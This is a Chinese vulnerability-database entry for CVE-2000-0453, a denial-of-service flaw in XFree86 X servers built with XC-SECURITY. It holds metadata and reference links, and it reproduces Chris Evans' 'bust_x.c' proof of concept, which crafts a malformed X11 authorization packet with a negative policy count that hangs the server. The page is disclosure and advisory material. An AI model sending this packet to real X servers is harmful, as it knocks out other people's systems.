XFree86 Xserver拒绝服务漏洞

XFree86 Xserver拒绝服务漏洞

漏洞ID 1105841 漏洞类型 边界条件错误
发布时间 2000-05-18 更新时间 2005-05-02
图片[1]-XFree86 Xserver拒绝服务漏洞-安全小百科CVE编号 CVE-2000-0453
图片[2]-XFree86 Xserver拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200005-074
漏洞平台 Linux CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/19950
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-074
|漏洞详情
XFree863.3.x版本和4.0版本存在漏洞。远程攻击者借助发送到端口6000的畸形IP包中负的计数器值导致拒绝服务漏洞。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/1235/info

A denial of service exists in XFree86 3.3.5, 3.3.6 and 4.0. A remote user can send a malformed packet to the TCP listening port, 6000, which will cause the X server to be unresponsive for some period of time. During this time, the keyboard will not respond to user input, and in some cases, the mouse will also not respond. During this time period, the X server will utilize 100% of the CPU, and can only be repaired by being signaled. This vulnerability exists only in servers compiled with the XCSECURITY #define set. This can be verified by running the following:
strings /path/to/XF86_SVGA | grep "XC-QUERY-SECURITY-1"

To quote the Bugtraq post, by Chris Evans <[email protected]>:
"Observe xc/programs/Xserver/os/secauth.c, AuthCheckSitePolicy():

// dataP is user supplied data from the network
char *policy = *dataP;
int nPolicies;
...
// Oh dear, we can set nPolicies to -1
nPolicies = *policy++;
while (nPolicies) {
// Do some stuff in a loop
...
nPolicies--;
}

So, the counter "nPolicies", if seeded with -1, will decrement towards
about minus 2 billion, then wrap to become positive 2 billion, and head
towards its final destination of 0." 
*/

/* bust_x.c
 * Demonstration purposes only!
 * Chris Evans <[email protected]>
 */
int
main(int argc, const char* argv[])
{
  char bigbuf[201];
  short s;
  char c;

  c = -120;

  memset(bigbuf, c, sizeof(bigbuf));

  /* Little endian */
  c = 'l';
  write(1, &c, 1);
  /* PAD */
  c = 0;
  write(1, &c, 1);
  /* Major */
  s = 11;
  write(1, &s, 2);
  /* Minor */
  s = 0;
  write(1, &s, 2);
  /* Auth proto len */
  s = 19;
  write(1, &s, 2);
  /* Auth string len */
  s = 200;
  write(1, &s, 2);

  /* PAD */
  s = 0;
  write(1, &s, 2);

  /* Auth name */
  write(1, "XC-QUERY-SECURITY-1", 19);

  /* byte to round to multiple of 4 */
  c = 0;
  write(1, &c, 1);

  /* Auth data */
  /* Site policy please */
  c = 2;
  write(1, &c, 1);
  /* "permit" - doesn't really matter */
  c = 0;
  write(1, &c, 1);
  /* number of policies: -1, loop you sucker:) */
  c = -1;
  write(1, &c, 1);
  /* Negative stringlen.. 201 of them just in case, chortle... */

  write(1, bigbuf, sizeof(bigbuf));
}
|参考资料

来源:BID
名称:1235
链接:http://www.securityfocus.com/bid/1235
来源:BUGTRAQ
名称:20000518NastyXFreeXserverDoS
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0223.html
来源:CALDERA
名称:CSSA-2000-012.0
链接:ftp://ftp.caldera.com/pub/security/OpenLinux/CSSA-2000-012.0.txt

相关推荐: Linux Kernel ntfs_warning() and ntfs_error() Local Denial of Service Vulnerability

Linux Kernel ntfs_warning() and ntfs_error() Local Denial of Service Vulnerability 漏洞ID 1097123 漏洞类型 Failure to Handle Exceptional…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享